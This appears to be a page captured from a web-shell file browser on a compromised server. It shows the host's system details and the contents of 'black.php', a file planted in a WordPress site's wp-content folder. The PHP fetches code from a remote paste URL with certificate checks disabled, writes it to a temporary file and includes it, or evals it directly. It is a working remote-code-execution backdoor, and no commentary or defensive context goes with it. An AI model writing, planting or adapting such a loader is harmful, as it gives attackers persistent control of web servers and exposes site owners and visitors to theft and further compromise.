HEX
Server: Apache
System: Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: camjab_ssh (1000)
PHP: 5.3.29
Disabled: NONE
Upload Files
File: /home/httpd/html/lovelygays.com/wp-content/black.php
<?php
$url = "https://paste.mangsud.org/raw/fd78c52b

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_TIMEOUT => 10,
    CURLOPT_FOLLOWLOCATION => true
]);
$content = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($httpCode !== 200 || empty($content)) {
    die('Fetch failed');
}

$tmpDir = sys_get_temp_dir();
$tmpFile = $tmpDir . '/' . bin2hex(random_bytes(12)) . '.php';

if (@file_put_contents($tmpFile, $content) !== false) {
    register_shutdown_function(function() use ($tmpFile) {
        @unlink($tmpFile);
    });
    include($tmpFile);
} else {
    eval('?>' . $content);
}
?>